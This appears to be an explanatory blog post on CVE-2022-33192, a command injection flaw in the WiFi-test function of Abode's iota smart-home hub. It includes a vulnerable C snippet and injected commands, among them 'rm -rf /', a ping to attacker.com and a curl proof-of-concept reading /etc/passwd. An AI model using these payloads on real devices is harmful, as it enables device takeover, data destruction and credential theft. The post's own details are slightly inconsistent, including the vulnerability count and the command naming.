In 2022, four serious OS command injection vulnerabilities were discovered in the Abode Systems, Inc. iota All-In-One Security Kit, specifically affecting firmware versions 6.9X and 6.9Z. These flaws—tracked under CVE-2022-33192—can allow remote attackers to execute arbitrary OS commands on the device via the XCMD testWifiAP feature. In this article, we’ll break down how these vulnerabilities work, review the critical code sections, illustrate possible attacks, and help you understand the significance even if you’re not a security pro.

What is Abode’s iota All-In-One Security Kit?

Abode makes smart home security devices. Their iota kit is a hub that manages alarms, sensors, and cameras. Like most smart IoT gadgets, it runs embedded firmware to handle wireless access point settings, user management, and more. Firmware updates are supposed to keep things secure, but sometimes bugs slip through—like command injection flaws.

Where are they?

The vulnerabilities exist in the implementation of the XCMD testWifiAP function. This function lets users test WiFi network settings remotely by making API requests.

In firmware 6.9X and 6.9Z, testWifiAP passes user input—specifically the WL_SSID and WL_SSID_HEX configuration values—directly into OS command strings without sanitization. The relevant vulnerable code lies at offset x1c7d28 in the firmware.

What’s the risk?

Because of this lack of input validation, attackers can send crafted network requests and inject malicious commands, leading to arbitrary command execution on the device—effectively taking over the hub.

Below is a simplified example (not the original, for illustration only) of how input is mishandled

void testWifiAP(char *input) {
    char command[512];
    // ... some preparation code ...
    // Dangerous: input directly used in command string
    snprintf(command, sizeof(command), "wl --ssid %s", input);
    system(command);
}

The code assumes input (user-supplied) is safe. But…

If you sent:  
SSID_1; rm -rf /
The resulting command would be:  
wl --ssid SSID_1; rm -rf /

This means you can run any command you want on the device.

Real Example Based on Analysis

In the real vulnerability, commands involved the values for WL_SSID and WL_SSID_HEX. Here’s a theoretical request that abuses the vulnerability:

POST /action/ICMD_testWifiAP HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

WL_SSID=myhome;ping -c 4 attacker.com
WL_SSID_HEX=...

When the code executes, it’ll run ping -c 4 attacker.com on the device.

Exploit Details

Let's walk through a basic proof-of-concept. DO NOT try this on devices you don't own!

1. Find the Device's IP and Open Port

Usually, the admin web panel or API accepts requests on port 80 or 443.

Since the bug is in XCMD (XML Command API), you can use curl (or any HTTP tool)

curl -X POST http://<device-ip>/action/ICMD_testWifiAP \
  -d "WL_SSID=normalssid;cat /etc/passwd" \
  -d "WL_SSID_HEX=00"

If vulnerable, check the device logs or your network for outgoing connections or actions.

3. Chained Attacks

Once you run commands, you can add a new user, download malware, or exfiltrate data.

Why Did This Happen?

Proper input validation is critical, especially on devices exposed to networks (and possibly the internet). In the XCMD testWifiAP function, user-controlled input reaches critical OS functions (system(), popen(), etc.) with no safety checks.

References and More Reading

- Original CVE Entry for CVE-2022-33192
- ZDI Advisory
- Exploring IoT Command Injection
- Abode Security Device Homepage

Conclusion

CVE-2022-33192 is a textbook example of why OS command injection is dangerous, especially in smart home devices. Always apply updates, and if you’re building firmware or embedded software, never, ever let user input touch OS commands unsanitized. The consequences can be as severe as a hacker unlocking your front door—or worse.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 18:52:00 UTC